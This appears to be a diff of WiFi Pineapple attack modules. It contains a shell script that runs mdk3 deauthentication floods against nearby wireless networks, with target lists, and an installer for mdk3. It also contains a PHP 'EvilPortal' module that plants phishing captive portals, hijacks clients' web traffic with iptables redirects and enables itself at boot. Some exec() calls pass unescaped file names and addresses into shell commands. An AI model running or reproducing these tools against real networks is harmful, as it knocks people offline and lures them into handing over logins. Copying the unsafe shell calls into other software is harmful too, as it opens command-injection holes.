||||
if [ -z "$MYFLAG" ]; then
|
||||
airmon-ng start ${MYINTERFACE}
|
||||
MYMONITOR=`iwconfig 2> /dev/null | grep "Mode:Monitor" | awk '{print $1}' | grep ${MYINTERFACE}`
|
||||
fi
|
||||
fi
|
||||
|
||||
grep -hv -e ^# ${WHITELIST} -e ^$ > ${TMPWHITELIST}
|
||||
grep -hv -e ^# ${BLACKLIST} -e ^$ > ${TMPBLACKLIST}
|
||||
|
||||
echo -e "Interface : ${MYINTERFACE}" >> ${LOG}
|
||||
echo -e "Monitor : ${MYMONITOR}" >> ${LOG}
|
||||
|
||||
if [ -n "$SPEED" ]; then
|
||||
echo -e "Speed : ${SPEED}" >> ${LOG}
|
||||
SPEED="-s ${SPEED}"
|
||||
else
|
||||
echo -e "Speed : default" >> ${LOG}
|
||||
SPEED=
|
||||
fi
|
||||
|
||||
if [ -n "$CHANNEL" ]; then
|
||||
echo -e "Channel : ${CHANNEL}" >> ${LOG}
|
||||
CHANNEL="-c ${CHANNEL}"
|
||||
else
|
||||
echo -e "Channel : default" >> ${LOG}
|
||||
CHANNEL=
|
||||
fi
|
||||
|
||||
ifconfig ${MYINTERFACE} down
|
||||
ifconfig ${MYINTERFACE} up
|
||||
|
||||
if [ ${MODE} == "whitelist" ]; then
|
||||
echo -e "Mode : ${MODE}" >> ${LOG}
|
||||
MODE="-w ${TMPWHITELIST}"
|
||||
elif [ ${MODE} == "blacklist" ]; then
|
||||
echo -e "Mode : ${MODE}" >> ${LOG}
|
||||
MODE="-b ${TMPBLACKLIST}"
|
||||
elif [ ${MODE} == "normal" ]; then
|
||||
echo -e "Mode : ${MODE}" >> ${LOG}
|
||||
MODE=""
|
||||
else
|
||||
echo -e "Mode : default" >> ${LOG}
|
||||
MODE=""
|
||||
fi
|
||||
|
||||
uci set deauth.run.interface=${MYMONITOR}
|
||||
uci commit deauth.run.interface
|
||||
|
||||
mdk3 ${MYMONITOR} d ${SPEED} ${CHANNEL} ${MODE} >> ${LOG} &
|
|
@ -0,0 +1,108 @@
|
|||
#!/bin/sh
|
||||
#2015 - Whistle Master
|
||||
|
||||
export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/sd/lib:/sd/usr/lib
|
||||
export PATH=$PATH:/sd/usr/bin:/sd/usr/sbin
|
||||
|
||||
LOG=/tmp/deauth.log
|
||||
MYPATH='/pineapple/modules/Deauth/'
|
||||
|
||||
MYMONITOR=''
|
||||
MYINTERFACE=`uci get deauth.run.interface`
|
||||
|
||||
SPEED=`uci get deauth.settings.speed`
|
||||
CHANNEL=`uci get deauth.settings.channel`
|
||||
MODE=`uci get deauth.settings.mode`
|
||||
|
||||
WHITELIST=${MYPATH}lists/whitelist.lst
|
||||
TMPWHITELIST=${MYPATH}lists/whitelist.tmp
|
||||
BLACKLIST=${MYPATH}lists/blacklist.lst
|
||||
TMPBLACKLIST=${MYPATH}lists/blacklist.tmp
|
||||
|
||||
if [ "$1" = "start" ]; then
|
||||
|
||||
killall -9 mkd3
|
||||
rm ${TMPBLACKLIST}
|
||||
rm ${TMPWHITELIST}
|
||||
rm ${LOG}
|
||||
|
||||
echo -e "Starting Deauth..." > ${LOG}
|
||||
|
||||
if [ -z "$MYINTERFACE" ]; then
|
||||
MYINTERFACE=`iwconfig 2> /dev/null | grep "Mode:Master" | awk '{print $1}' | head -1`
|
||||
else
|
||||
MYFLAG=`iwconfig 2> /dev/null | awk '{print $1}' | grep ${MYINTERFACE}`
|
||||
|
||||
if [ -z "$MYFLAG" ]; then
|
||||
MYINTERFACE=`iwconfig 2> /dev/null | grep "Mode:Master" | awk '{print $1}' | head -1`
|
||||
fi
|
||||
fi
|
||||
|
||||
if [ -z "$MYMONITOR" ]; then
|
||||
MYMONITOR=`iwconfig 2> /dev/null | grep "Mode:Monitor" | awk '{print $1}' | grep ${MYINTERFACE}`
|
||||
|
||||
MYFLAG=`iwconfig 2> /dev/null | awk '{print $1}' | grep ${MYMONITOR}`
|
||||
|
||||
if [ -z "$MYFLAG" ]; then
|
||||
airmon-ng start ${MYINTERFACE}
|
||||
MYMONITOR=`iwconfig 2> /dev/null | grep "Mode:Monitor" | awk '{print $1}' | grep ${MYINTERFACE}`
|
||||
fi
|
||||
else
|
||||
MYFLAG=`iwconfig 2> /dev/null | awk '{print $1}' | grep ${MYMONITOR}`
|
||||
|
||||
if [ -z "$MYFLAG" ]; then
|
||||
airmon-ng start ${MYINTERFACE}
|
||||
MYMONITOR=`iwconfig 2> /dev/null | grep "Mode:Monitor" | awk '{print $1}' | grep ${MYINTERFACE}`
|
||||
fi
|
||||
fi
|
||||
|
||||
grep -hv -e ^# ${WHITELIST} -e ^$ > ${TMPWHITELIST}
|
||||
grep -hv -e ^# ${BLACKLIST} -e ^$ > ${TMPBLACKLIST}
|
||||
|
||||
echo -e "Interface : ${MYINTERFACE}" >> ${LOG}
|
||||
echo -e "Monitor : ${MYMONITOR}" >> ${LOG}
|
||||
|
||||
if [ -n "$SPEED" ]; then
|
||||
echo -e "Speed : ${SPEED}" >> ${LOG}
|
||||
SPEED="-s ${SPEED}"
|
||||
else
|
||||
echo -e "Speed : default" >> ${LOG}
|
||||
SPEED=
|
||||
fi
|
||||
|
||||
if [ -n "$CHANNEL" ]; then
|
||||
echo -e "Channel : ${CHANNEL}" >> ${LOG}
|
||||
CHANNEL="-c ${CHANNEL}"
|
||||
else
|
||||
echo -e "Channel : default" >> ${LOG}
|
||||
CHANNEL=
|
||||
fi
|
||||
|
||||
ifconfig ${MYINTERFACE} down
|
||||
ifconfig ${MYINTERFACE} up
|
||||
|
||||
if [ ${MODE} == "whitelist" ]; then
|
||||
echo -e "Mode : ${MODE}" >> ${LOG}
|
||||
MODE="-w ${TMPWHITELIST}"
|
||||
elif [ ${MODE} == "blacklist" ]; then
|
||||
echo -e "Mode : ${MODE}" >> ${LOG}
|
||||
MODE="-b ${TMPBLACKLIST}"
|
||||
elif [ ${MODE} == "normal" ]; then
|
||||
echo -e "Mode : ${MODE}" >> ${LOG}
|
||||
MODE=""
|
||||
else
|
||||
echo -e "Mode : default" >> ${LOG}
|
||||
MODE=""
|
||||
fi
|
||||
|
||||
uci set deauth.run.interface=${MYMONITOR}
|
||||
uci commit deauth.run.interface
|
||||
|
||||
mdk3 ${MYMONITOR} d ${SPEED} ${CHANNEL} ${MODE} >> ${LOG} &
|
||||
|
||||
elif [ "$1" = "stop" ]; then
|
||||
killall -9 mdk3
|
||||
rm ${TMPBLACKLIST}
|
||||
rm ${TMPWHITELIST}
|
||||
rm ${LOG}
|
||||
fi
|
|
@ -0,0 +1,39 @@
|
|||
#!/bin/sh
|
||||
#2015 - Whistle Master
|
||||
|
||||
export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/sd/lib:/sd/usr/lib
|
||||
export PATH=$PATH:/sd/usr/bin:/sd/usr/sbin
|
||||
|
||||
[[ -f /tmp/Deauth.progress ]] && {
|
||||
exit 0
|
||||
}
|
||||
|
||||
touch /tmp/Deauth.progress
|
||||
|
||||
if [ "$1" = "install" ]; then
|
||||
if [ "$2" = "internal" ]; then
|
||||
opkg update
|
||||
opkg install mdk3
|
||||
elif [ "$2" = "sd" ]; then
|
||||
opkg update
|
||||
opkg install mdk3 --dest sd
|
||||
fi
|
||||
|
||||
touch /etc/config/deauth
|
||||
echo "config deauth 'run'" > /etc/config/deauth
|
||||
echo "config deauth 'settings'" >> /etc/config/deauth
|
||||
echo "config deauth 'autostart'" >> /etc/config/deauth
|
||||
echo "config deauth 'module'" >> /etc/config/deauth
|
||||
|
||||
uci set deauth.settings.mode='normal'
|
||||
uci commit deauth.settings.mode
|
||||
|
||||
uci set deauth.module.installed=1
|
||||
uci commit deauth.module.installed
|
||||
|
||||
elif [ "$1" = "remove" ]; then
|
||||
opkg remove mdk3
|
||||
rm -rf /etc/config/deauth
|
||||
fi
|
||||
|
||||
rm /tmp/Deauth.progress
|
|
@ -0,0 +1,536 @@
|
|||
<?php namespace pineapple;
|
||||
|
||||
class EvilPortal extends Module
|
||||
{
|
||||
|
||||
// CONSTANTS
|
||||
private $CLIENTS_FILE = '/tmp/EVILPORTAL_CLIENTS.txt';
|
||||
private $ALLOWED_FILE = '/pineapple/modules/EvilPortal/data/allowed.txt';
|
||||
|
||||
// CONSTANTS
|
||||
|
||||
public function route()
|
||||
{
|
||||
switch ($this->request->action) {
|
||||
case 'getControlValues':
|
||||
$this->getControlValues();
|
||||
break;
|
||||
|
||||
case 'startStop':
|
||||
$this->handleRunning();
|
||||
break;
|
||||
|
||||
case 'enableDisable':
|
||||
$this->handleEnable();
|
||||
break;
|
||||
|
||||
case 'portalList':
|
||||
$this->handleGetPortalList();
|
||||
break;
|
||||
|
||||
case 'portalFiles':
|
||||
$this->getPortalFiles();
|
||||
break;
|
||||
|
||||
case 'deletePortal':
|
||||
$this->handleDeletePortal();
|
||||
break;
|
||||
|
||||
case 'deletePortalFile':
|
||||
$this->deletePortalFile();
|
||||
break;
|
||||
|
||||
case 'activatePortal':
|
||||
$this->activatePortal();
|
||||
break;
|
||||
|
||||
case 'deactivatePortal':
|
||||
$this->deactivatePortal();
|
||||
break;
|
||||
|
||||
case 'getPortalCode':
|
||||
$this->getPortalCode();
|
||||
break;
|
||||
|
||||
case 'submitPortalCode':
|
||||
$this->submitPortalCode();
|
||||
break;
|
||||
|
||||
case 'getList':
|
||||
$this->getList();
|
||||
break;
|
||||
|
||||
case 'addToList':
|
||||
$this->addToList();
|
||||
break;
|
||||
|
||||
case 'removeFromList':
|
||||
$this->removeFromList();
|
||||
break;
|
||||
|
||||
case 'createNewPortal':
|
||||
$this->handleCreateNewPortal();
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
public function getPortalCode()
|
||||
{
|
||||
$portalName = $this->request->name;
|
||||
$portalFile = $this->request->portalFile;
|
||||
$storage = $this->request->storage;
|
||||
|
||||
if ($storage != "active") {
|
||||
$dir = ($storage == "sd" ? "/sd/portals/" : "/root/portals/");
|
||||
} else {
|
||||
$dir = "/etc/nodogsplash/htdocs/";
|
||||
}
|
||||
|
||||
$message = "";
|
||||
$code = "";
|
||||
|
||||
if (file_exists($dir . $portalName . "/" . $portalFile)) {
|
||||
$code = file_get_contents($dir . $portalName . "/" . $portalFile);
|
||||
$message = $portalFile . " is ready for editting.";
|
||||
} else {
|
||||
$message = "Error finding " . $dir . $portalName . "/" . $portalFile . ".";
|
||||
}
|
||||
|
||||
$this->response = array("message" => $message, "code" => $code);
|
||||
|
||||
}
|
||||
|
||||
public function getPortalFiles()
|
||||
{
|
||||
$portalName = $this->request->name;
|
||||
$storage = $this->request->storage;
|
||||
|
||||
$dir = ($storage == "sd" ? "/sd/portals/" : "/root/portals/");
|
||||
$allFiles = array();
|
||||
if (file_exists($dir . $portalName)) {
|
||||
$portal_files = scandir($dir . $portalName);
|
||||
foreach ($portal_files as $file) {
|
||||
if (is_file($dir . $portalName . "/" . $file) && !$this->endsWith($file, ".ep")) {
|
||||
array_push($allFiles, $file);
|
||||
}
|
||||
}
|
||||
}
|
||||
$this->response = array("portalFiles" => $allFiles);
|
||||
}
|
||||
|
||||
public function deletePortalFile()
|
||||
{
|
||||
$portalName = $this->request->name;
|
||||
$storage = $this->request->stroage;
|
||||
$fileName = $this->request->portalFile;
|
||||
|
||||
$dir = ($storage == "sd" ? "/sd/portals/" : "/root/portals/");
|
||||
$message = "Unable to delete file.";
|
||||
if (file_exists($dir . $portalName . "/" . $fileName)) {
|
||||
unlink($dir . $portalName . "/" . $fileName);
|
||||
$message = "Successfully deleted " . $dir . $portalName . "/" . $fileName;
|
||||
}
|
||||
|
||||
$this->response = array("deleteMessage" => $message);
|
||||
|
||||
}
|
||||
|
||||
public function activatePortal()
|
||||
{
|
||||
$portalName = $this->request->name;
|
||||
$storage = $this->request->storage;
|
||||
|
||||
$dir = ($storage == "sd" ? "/sd/portals/" : "/root/portals/");
|
||||
|
||||
$message = "";
|
||||
$portalPath = escapeshellarg($dir . $portalName);
|
||||
if (file_exists($dir . $portalName)) {
|
||||
exec("ln -s /pineapple/modules/EvilPortal/includes/api /www/captiveportal");
|
||||
$portal_files = scandir($dir . $portalName);
|
||||
foreach ($portal_files as $file) {
|
||||
if (file_exists("/www/{$file}")) {
|
||||
rename("/www/{$file}", "/www/{$file}.ep_backup");
|
||||
}
|
||||
exec("ln -s {$portalPath}/{$file} /www/{$file}");
|
||||
}
|
||||
$message = $portalName . " is now active.";
|
||||
} else {
|
||||
$message = "Couldn't find " . $portalPath . ".";
|
||||
}
|
||||
|
||||
$this->response = array("message" => $message);
|
||||
|
||||
}
|
||||
|
||||
public function deactivatePortal()
|
||||
{
|
||||
$portalName = $this->request->name;
|
||||
$storage = $this->request->storage;
|
||||
|
||||
$dir = ($storage == "sd" ? "/sd/portals/" : "/root/portals/");
|
||||
|
||||
$message = "Couldn't find " . $portalName;
|
||||
$deactivateSuccess = false;
|
||||
if (file_exists($dir . $portalName)) {
|
||||
$portal_files = scandir($dir . $portalName);
|
||||
foreach ($portal_files as $file) {
|
||||
unlink("/www/{$file}");
|
||||
}
|
||||
$www_files = scandir("/www/");
|
||||
foreach ($www_files as $file) {
|
||||
if ($this->endsWith($file, ".ep_backup")) {
|
||||
rename("/www/{$file}", "/www/" . str_replace(".ep_backup", "", $file));
|
||||
}
|
||||
}
|
||||
$message = "Deactivated {$portalName}.";
|
||||
$deactivateSuccess = true;
|
||||
}
|
||||
|
||||
$this->response = array("message" => $message, "deactivateSuccess" => $deactivateSuccess);
|
||||
|
||||
}
|
||||
|
||||
/* Credits to SteveRusin at http://php.net/manual/en/ref.strings.php */
|
||||
private function endsWith($str, $sub)
|
||||
{
|
||||
return (substr($str, strlen($str) - strlen($sub)) === $sub);
|
||||
}
|
||||
|
||||
public function handleDeletePortal()
|
||||
{
|
||||
$portalName = $this->request->name;
|
||||
$storage = $this->request->storage;
|
||||
|
||||
$dir = ($storage == "sd" ? "/sd/portals/" : "/root/portals/");
|
||||
|
||||
exec("rm -rf " . escapeshellarg($dir . $portalName));
|
||||
|
||||
$message = "";
|
||||
|
||||
if (!file_exists($dir . $portalName)) {
|
||||
$message = "Deleted " . $portalName;
|
||||
} else {
|
||||
$message = "Error deleting " . $portalName;
|
||||
}
|
||||
|
||||
$this->response = array("message" => $message);
|
||||
|
||||
}
|
||||
|
||||
public function submitPortalCode()
|
||||
{
|
||||
$code = $this->request->portalCode;
|
||||
$storage = $this->request->storage;
|
||||
$portalName = $this->request->name;
|
||||
$fileName = $this->request->fileName;
|
||||
|
||||
$dir = ($storage == "sd" ? "/sd/portals/" : "/root/portals/");
|
||||
|
||||
file_put_contents($dir . $portalName . "/" . $fileName, $code);
|
||||
$message = (!file_exists($dir . $portalName . "/" . $fileName)) ? "Created " . $portalName : "Updated " . $portalName;
|
||||
|
||||
$this->response = array(
|
||||
"message" => $message
|
||||
);
|
||||
|
||||
}
|
||||
|
||||
public function handleGetPortalList()
|
||||
{
|
||||
if (!file_exists("/root/portals")) {
|
||||
mkdir("/root/portals");
|
||||
}
|
||||
|
||||
$all_portals = array();
|
||||
$root_portals = preg_grep('/^([^.])/', scandir("/root/portals"));
|
||||
|
||||
foreach ($root_portals as $portal) {
|
||||
if (!is_file($portal)) {
|
||||
$active = (file_exists("/www/{$portal}.ep"));
|
||||
$obj = array("title" => $portal, "location" => "internal", "active" => $active);
|
||||
array_push($all_portals, $obj);
|
||||
}
|
||||
}
|
||||
|
||||
//$active = array("title" => "splash.html", "location" => "active");
|
||||
//$active = array();
|
||||
//array_push($all_portals, $active);
|
||||
|
||||
$this->response = $all_portals;
|
||||
}
|
||||
|
||||
public function handleCreateNewPortal()
|
||||
{
|
||||
$portalName = str_replace(' ', '_', $this->request->portalName);
|
||||
$portalPath = "/root/portals/";
|
||||
if (!file_exists($portalPath)) {
|
||||
mkdir($portalPath);
|
||||
}
|
||||
|
||||
if (file_exists($portalPath . $portalName)) {
|
||||
$this->response = array("create_success" => false, "create_message" => "A portal named {$portalName} already exists.");
|
||||
return;
|
||||
}
|
||||
|
||||
mkdir($portalPath . $portalName);
|
||||
exec("cp /pineapple/modules/EvilPortal/includes/skeleton/* {$portalPath}{$portalName}/");
|
||||
file_put_contents($portalPath . $portalName . "/" . $portalName . ".ep", "DO NOT DELETE THIS");
|
||||
|
||||
$this->response = array("create_success" => true, "create_message" => "Created {$portalName}");
|
||||
|
||||
}
|
||||
|
||||
public function handleEnable()
|
||||
{
|
||||
$response_array = array();
|
||||
if (!$this->checkAutoStart()) {
|
||||
//exec("/etc/init.d/firewall disable");
|
||||
//exec("/etc/init.d/nodogsplash enable");
|
||||
copy("/pineapple/modules/EvilPortal/includes/evilportal.sh", "/etc/init.d/evilportal");
|
||||
chmod("/etc/init.d/evilportal", 0755);
|
||||
exec("/etc/init.d/evilportal enable");
|
||||
$enabled = $this->checkAutoStart();
|
||||
$message = "EvilPortal is now enabled on startup.";
|
||||
if (!$enabled) {
|
||||
$message = "Error enabling EvilPortal on startup.";
|
||||
}
|
||||
|
||||
$response_array = array(
|
||||
"control_success" => $enabled,
|
||||
"control_message" => $message
|
||||
);
|
||||
|
||||
} else {
|
||||
exec("/etc/init.d/evilportal disable");
|
||||
//exec("/etc/init.d/firewall enable");
|
||||
$enabled = !$this->checkAutoStart();
|
||||
$message = "EvilPortal now disabled on startup.";
|
||||
if (!$enabled) {
|
||||
$message = "Error disabling EvilPortal on startup.";
|
||||
}
|
||||
|
||||
$response_array = array(
|
||||
"control_success" => $enabled,
|
||||
"control_message" => $message
|
||||
);
|
||||
}
|
||||
$this->response = $response_array;
|
||||
}
|
||||
|
||||
public function checkCaptivePortalRunning()
|
||||
{
|
||||
return exec("iptables -t nat -L PREROUTING | grep 172.16.42.1") == '' ? false : true;
|
||||
}
|
||||
|
||||
public function startCaptivePortal()
|
||||
{
|
||||
|
||||
// Delete client tracking file if it exists
|
||||
if (file_exists($this->CLIENTS_FILE)) {
|
||||
unlink($this->CLIENTS_FILE);
|
||||
}
|
||||
|
||||
// Enable forwarding. It should already be enabled on the pineapple but do it anyways just to be safe
|
||||
exec("echo 1 > /proc/sys/net/ipv4/ip_forward");
|
||||
exec("ln -s /pineapple/modules/EvilPortal/includes/api /www/captiveportal");
|
||||
|
||||
// Insert allowed clients into tracking file
|
||||
$allowedClients = file_get_contents($this->ALLOWED_FILE);
|
||||
file_put_contents($this->CLIENTS_FILE, $allowedClients);
|
||||
|
||||
// Configure other rules
|
||||
exec("iptables -t nat -A PREROUTING -s 172.16.42.0/24 -p tcp --dport 80 -j DNAT --to-destination 172.16.42.1:80");
|
||||
exec("iptables -A INPUT -p tcp --dport 53 -j ACCEPT");
|
||||
|
||||
// Add rule for each allowed client
|
||||
$lines = file($this->CLIENTS_FILE);
|
||||
foreach ($lines as $client) {
|
||||
$this->authorizeClient($client);
|
||||
//exec("iptables -t nat -I PREROUTING -s {$client} -j ACCEPT");
|
||||
}
|
||||
|
||||
// Drop everything else
|
||||
exec("iptables -I INPUT -p tcp --dport 443 -j DROP");
|
||||
|
||||
return $this->checkCaptivePortalRunning();
|
||||
|
||||
}
|
||||
|
||||
private function authorizeClient($client)
|
||||
{
|
||||
exec("iptables -t nat -I PREROUTING -s {$client} -j ACCEPT");
|
||||
}
|
||||
|
||||
private function revokeClient($client)
|
||||
{
|
||||
exec("iptables -t nat -D PREROUTING -s {$client}");
|
||||
exec("iptables -t nat -D PREROUTING -s {$client} -j ACCEPT");
|
||||
}
|
||||
|
||||
public function stopCaptivePortal()
|
||||
{
|
||||
if (file_exists($this->CLIENTS_FILE)) {
|
||||
$lines = file($this->CLIENTS_FILE);
|
||||
foreach ($lines as $client) {
|
||||
$this->revokeClient($client);
|
||||
//exec("iptables -t nat -D PREROUTING -s {$client} -j ACCEPT");
|
||||
}
|
||||
unlink($this->CLIENTS_FILE);
|
||||
}
|
||||
|
||||
exec("iptables -t nat -D PREROUTING -s 172.16.42.0/24 -p tcp --dport 80 -j DNAT --to-destination 172.16.42.1:80");
|
||||
exec("iptables -D INPUT -p tcp --dport 53 -j ACCEPT");
|
||||
exec("iptables -D INPUT -j DROP");
|
||||
|
||||
return $this->checkCaptivePortalRunning();
|
||||
|
||||
}
|
||||
|
||||
public function handleRunning()
|
||||
{
|
||||
$response_array = array();
|
||||
if (!$this->checkCaptivePortalRunning()) {
|
||||
//exec("/etc/init.d/nodogsplash start");
|
||||
//$running = $this->checkRunning("nodogsplash");
|
||||
$running = $this->startCaptivePortal();
|
||||
$message = "Started EvilPortal.";
|
||||
if (!$running) {
|
||||
$message = "Error starting EvilPortal.";
|
||||
}
|
||||
|
||||
$response_array = array(
|
||||
"control_success" => $running,
|
||||
"control_message" => $message
|
||||
);
|
||||
} else {
|
||||
//exec("/etc/init.d/nodogsplash stop");
|
||||
//sleep(1);
|
||||
//$running = !$this->checkRunning("nodogsplash");
|
||||
$running = !$this->stopCaptivePortal();
|
||||
$message = "Stopped EvilPortal.";
|
||||
if (!$running) {
|
||||
$message = "Error stopping EvilPortal.";
|
||||
}
|
||||
|
||||
$response_array = array(
|
||||
"control_success" => $running,
|
||||
"control_message" => $message
|
||||
);
|
||||
}
|
||||
|
||||
$this->response = $response_array;
|
||||
}
|
||||
|
||||
public function getList()
|
||||
{
|
||||
$response_array = array();
|
||||
$contents = null;
|
||||
$message = "Successful";
|
||||
switch ($this->request->listName) {
|
||||
case "whiteList":
|
||||
if (!file_exists($this->ALLOWED_FILE)) {
|
||||
$message = "White List file doesn't exist.";
|
||||
} else {
|
||||
$contents = file_get_contents($this->ALLOWED_FILE);
|
||||
$contents = ($contents == null) ? "No White Listed Clients" : $contents;
|
||||
}
|
||||
break;
|
||||
|
||||
case "accessList":
|
||||
if (!file_exists($this->CLIENTS_FILE)) {
|
||||
$contents = "No Authorized Clients.";
|
||||
} else {
|
||||
$contents = file_get_contents($this->CLIENTS_FILE);
|
||||
$contents = ($contents == null) ? "No Authorized Clients." : $contents;
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
if ($contents != null) {
|
||||
$response_array = array(
|
||||
"list_success" => true,
|
||||
"list_contents" => $contents,
|
||||
"list_message" => $message
|
||||
);
|
||||
} else {
|
||||
$response_array = array("list_success" => false, "list_contents" => "", "list_message" => $message);
|
||||
}
|
||||
|
||||
$this->response = $response_array;
|
||||
}
|
||||
|
||||
public function addToList()
|
||||
{
|
||||
$valid = preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\z/', $this->request->clientIP);
|
||||
if ($valid) {
|
||||
switch ($this->request->listName) {
|
||||
case "whiteList":
|
||||
file_put_contents($this->ALLOWED_FILE, $this->request->clientIP . "\n", FILE_APPEND);
|
||||
$this->response = array("add_success" => true, "add_message" => "Successful");
|
||||
break;
|
||||
|
||||
case "accessList":
|
||||
file_put_contents($this->CLIENTS_FILE, $this->request->clientIP . "\n", FILE_APPEND);
|
||||
$this->authorizeClient($this->request->clientIP);
|
||||
$this->response = array("add_success" => true, "add_message" => "Successful");
|
||||
break;
|
||||
|
||||
default:
|
||||
$this->response = array("add_success" => false, "add_message" => "Unkown list.");
|
||||
break;
|
||||
}
|
||||
} else {
|
||||
$this->response = array("add_success" => false, "add_message" => "Invalid IP Address.");
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
public function removeFromList()
|
||||
{
|
||||
$valid = preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\z/', $this->request->clientIP);
|
||||
if ($valid) {
|
||||
switch ($this->request->listName) {
|
||||
case "whiteList":
|
||||
$data = file_get_contents($this->ALLOWED_FILE);
|
||||
$data = str_replace($this->request->clientIP . "\n", '', $data);
|
||||
file_put_contents($this->ALLOWED_FILE, $data);
|
||||
$this->response = array("remove_success" => true, "remove_message" => "Successful");
|
||||
break;
|
||||
|
||||
case "accessList":
|
||||
$data = file_get_contents($this->CLIENTS_FILE);
|
||||
$data = str_replace($this->request->clientIP . "\n", '', $data);
|
||||
file_put_contents($this->CLIENTS_FILE, $data);
|
||||
$this->revokeClient($this->request->clientIP);
|
||||
$this->response = array("remove_success" => true, "remove_message" => "Successful");
|
||||
break;
|
||||
|
||||
default:
|
||||
$this->response = array("remove_success" => false, "remove_message" => "Unkown list.");
|
||||
break;
|
||||
|
||||
}
|
||||
} else {
|
||||
$this->response = array("remove_success" => false, "remove_message" => "Invalid IP Address.");
|
||||
}
|
||||
}
|
||||
|
||||
public function getControlValues()
|
||||
{
|
||||
$this->response = array(
|
||||
//"dependencies" => true,
|
||||
"running" => $this->checkCaptivePortalRunning(),
|
||||
"autostart" => $this->checkAutoStart()
|
||||
);
|
||||
}
|
||||
|
||||
public function checkAutoStart()
|
||||
{
|
||||
if (exec("ls /etc/rc.d/ | grep evilportal") == '') {
|
||||
return false;
|
||||
} else {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
}
|
|
@ -0,0 +1 @@
|
|||
172.16.42.42
|